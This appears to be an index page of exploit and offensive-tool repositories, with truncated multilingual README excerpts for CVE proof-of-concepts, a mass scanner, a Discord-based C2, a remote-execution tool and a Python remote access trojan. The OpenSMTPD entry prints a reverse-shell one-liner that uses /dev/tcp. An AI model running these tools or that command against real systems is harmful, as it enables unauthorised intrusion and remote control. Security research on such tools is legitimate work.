CVE-2025-3248-POC

CVE-2025-3248-POC CVE-2025-3248のPoC ターゲットマシン上で任意のコマンドを実行 使い方: python poc.py 'http://xxx.com' 'ls /' 被害者のコンピュータに愛を残そう poc.py...

CVE-2023-28324

CVE-2023-28324 Ivanti EPM に影響する CVE-2023-28324 の PoC 技術分析 脆弱性の根本原因の技術的分析は弊社ブログでご覧いただけます： https://www.horizon3.ai/attack-research/attack-blogs/cve-2023-28324-deep-dive/ 概要 この PoC は AgentPortal.exe の脆弱性を悪用して任意のコマンドを実行します。この PoC を動作させるには、Ivanti EPM インストールから AgentPortal.exe と APCommon.dll...

nfsen-exploit

nfsen-exploit nfsen 1.3.7 における CVE-2017-6971 のリモートコマンド実行エクスプロイト。 Ubuntu でテスト済み。おそらくすべての環境で動作します。 脆弱性は Paul Taylor/Foregenix Ltd によって発見されました。 使用方法: python exploit.py これにより、リモートマシン上にルートレベルのシェルが生成されます。...

CVE-2015-3306

ProFTPd 1.3.5 リモートコマンド実行 作者 : David Tavarez @davidtavarez ソフトウェア: ProFTPd 1.3.5 with modcopy テスト済み : Debian 4+deb7u2 ProFTPD 1.3.4a Debian-4+deb7u1 ProFTPD 1.3.4a CVE : 2015-3306...

react2shell-ultimate

React2Shell Ultimate Scanner v2.0 CVE-2025-66478 対応のプロフェッショナル Next.js RSC RCE 脆弱性スキャナー 🎯 概要 React2Shell Ultimate は、CVE-2025-66478 - React Server Components RSC を使用する Next.js アプリケーションに影響を与える重大なリモートコード実行 RCE 脆弱性 - 向けの包括的な脆弱性スキャナーです。 🆕 v2.0 の新機能 バージョン 2.0 では、大幅な機能強化とプロフェッショナル向け機能が追加されています: ✨ 強化された G...

CVE-2025-54068

CVE-2025-54068 このツールは、Livewire プロジェクトの APPKEY が既知である場合に CVE-2025-54068 を悪用してリモートコマンド実行を行うために設計されたツールです。 本ツールは、Synacktiv によるオリジナルプロジェクトをリコードしたものです： Livepyre — https://github.com/synacktiv/Livepyre 核となるコンセプトと手法は元の実装に基づいています。 このバージョンでは、使いやすさと柔軟性を向上させるための小規模な機能強化と追加機能が含まれています。 インストール pipx...

CVE-2022-1388

CVE-2022-1388 影響 この脆弱性により、管理ポートや自己IPアドレスを介してBIG-IPシステムにネットワークアクセス可能な認証されていない攻撃者が、任意のシステムコマンドの実行、ファイルの作成・削除、サービスの無効化を行う可能性があります。データプレーンの暴露はなく、これはコントロールプレーンの問題に限られます。 使用方法 ./CVE-2022-1388.sh 脆弱な製品 F5 BIG-IP 16.1.0 - 16.1.2 F5 BIG-IP 15.1.0 - 15.1.5 F5 BIG-IP 14.1.0 - 14.1.4 F5 BIG-IP 13.1.0 - 13.1....

CVE-2026-48778

CVE-2026-48778 POC Notepad++ の config.xml commandLineInterpreter を介した RCE 使い方 .\CVE-2026-48778.exe calc.exe デモ https://github.com/user-attachments/assets/79ec82c9-ab37-4923-b62d-325710095e86 脆弱性の概要 パッケージ| 影響を受けるバージョン| 修正済みバージョン ---|---|--- Notepad++| = v8.9.6| v8.9.6.1 参照 GHSA-7hm3-wp5q-ccv9...

CVE-2018-2893

CVE-2018-2893 ステップ 1 java -jar ysoserial-cve-2018-2893.jar WHY SO SERIAL? Usage: java -jar ysoserial-version-all.jar payload 'command' Available payload types: Payload Authors Dependencies ------- ------- ------------ JRMPClient @mbechler JRMPClient2 @pynerd JRMPClient3 @pynerd JRMPClient4 @pyner...

CVE-2020-7247

CVE-2020-7247 この脆弱性は、OpenBSDのメールサーバOpenSMTPDの「smtpmailaddr」関数に存在し、OpenBSDバージョン6.6に影響を与えます。これにより、攻撃者はrootユーザーとして「sleep 66」などの任意のシェルコマンドを実行できます。 使い方 python3 getShell.py リバースシェルが必要な場合は、次のように実行します。 python3 getShell.py 'bash -c "exec bash -i & /dev/tcp/IP/PORT &1"' 重要 このエクスプロイト内のRCPT...

CVE-2022-46169

CVE-2022-46169 CVE-2022-46169は、ネットワーク監視・管理ソフトウェアであるCactiで発見されたセキュリティ脆弱性です。この脆弱性により、攻撃者は特別に細工されたHTTPリクエストを送信することで、認証なしでシステムをリモートから悪用できます。この脆弱性を悪用することで、攻撃者は対象システム上で任意のシステムコマンドを実行できます。これは、権限のない人物が影響を受けるシステムを制御し、昇格された権限で悪意のある活動を実行することを可能にするため、重大なリスクをもたらします。この脆弱性は remoteagent.php...

CVE-2025-56803

CVE-2025-56803 Figmaデスクトップアプリケーションにおけるプラグイン実行を介したOSコマンドインジェクションの脆弱性 1. 概要 アプリケーション : Figmaデスクトップアプリケーション バージョン : 125.6.5 ベンダー : Figma, Inc. CWE : CWE-78: OSコマンドに使用される特殊要素の不適切な無効化（'OSコマンドインジェクション'） CVSS : 8.4 ベクター文字列 : CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 2. 要約...

DaaC2

DaaC2 - Discord as a C2 이건 심심해서 Discord 봇을 가지고 놀아보고, C2 서버와 에이전트 간에 Discord를 통해 통신 채널을 구축할 수 있을지 확인해보고 싶어서 만들었습니다. 결과적으로 꽤 잘 작동합니다. 이상적으로는 시간이 더 있다면, 이를 초기 드로퍼로 사용하여 인젝션을 통해 셸을 업그레이드할 수 있을 것입니다. 하지만 저는 레드팀원이 아니기 때문에 실제로 이걸로 무엇을 할지는 모르겠습니다. 그냥 만드는 것을 좋아할 뿐입니다. 더 많은 정보는 여기에서 볼 수 있습니다:...

nagios-xi-5.7.5-bugs

nagios-xi-5.7.5-bugs Nagios XI に報告されたバグ CVE-2021-25296 コードの場所 /usr/local/nagiosxi/html/includes/configwizards/windowswmi/windowswmi.inc.php コードスニペット if !empty$pluginoutputlen $diskwmicommand .= " --forcetruncateoutput " . $pluginoutputlen; $servicewmicommand .= " --forcetruncateoutput "...

CVE-2023-22527

私はいかなる違法な攻撃に対しても責任を負いません CVE-2023-22527 一括スキャンスクリプト ヘルプ usage: python3 CVE-2023-22527.py -u -f -c options: -h, --help show this help message and exit -u TARGET, --target TARGET Target URL -f FILE, --file FILE URL file -c CMD, --cmd CMD Commands to execute -t THREAD, --thread THREAD Number of...

CVE-2019-14287-write-up

CVE-2019-14287-解説 4294967295 Sudo のバグにより、制限されたユーザーが root としてコマンドを実行できる 脆弱性のデモ 新しいユーザーを追加: sudo su - root useradd -m -s /bin/bash testuser passwd testuser // ユーザーにパスワードを追加 visudo 新しいエントリを追加 test ALL=ALL, !root /usr/bin/id // このユーザーは root ユーザーで id コマンドを使用できないように指定 ファイルを保存し、root ユーザーからログアウト...

CVE-2025-9074-Docker-Exploit

CVE-2025-9074 Docker コンテナコマンド実行ツール CVE-2025-9074 の脆弱性のセキュリティ研究とテストのための、強力な Docker リモート API エクスプロイトツールです。 主な利点 ✅ 完全自動のコンテナライフサイクル管理 : 一時コンテナを自動作成し、操作完了後に自動クリーンアップして痕跡を残しません ✅ インテリジェントなパス処理 : Windows パスを自動的に認識して Docker マウント形式に変換します ✅ 完全自動化された操作フロー : 複雑なコマンドの手動入力は不要で、メニュー形式の対話によりワンクリックでファイル操作を完了します ...

sunflower_exp

CVE-2022-10270 影响版本： 向日葵个人版 Windows --thread 扫描时的线程数 默认线程数为100 --help 帮助 sunflowerpocexp.py 漏洞验证及扫描工具 端口探测： eg：python sunflowerpocexp.py --scan --ip --port --thread 参数需使用者指定 python sunflowerpocexp.py --scan 均使用默认参数 --scan 扫描参数 --ip 需要扫描的ip地址 默认扫描ip地址为：127.0.0.1 --port 需要扫描的端口列表 默认扫描端口为：...

susinternals

susinternals - @deft @cablethief & @randomwalksp reinoによる復活 このツールを使用すると、PythonスクリプトからPSExeSVCサービスを介してリモートでコマンドを実行できます。 以下の用途に使用できます： ユーザーとして認証する（プライマリトークンを使用）： SYSTEMとして認証する： ブログ記事の全文はこちらからご覧いただけます！...

MrRAT

MrRAT これはクロスプラットフォームのPython 2.x製リモートアクセス型トロイの木馬（RAT）です。MrRATは、クリーンな設計でフル機能を備えたPython RATを維持するために作成されました。現在は開発途中であり、現在も積極的にハッキングが行われています。 免責事項: このRATは研究目的のみであり、許可されたシステムでのみ使用してください。許可または明示的な同意なしにコンピュータシステムやネットワークにアクセスすることは違法です。 特徴 クロスプラットフォーム（Windows、Linux、macOS） D-H交換によるAES GCM暗号化C2...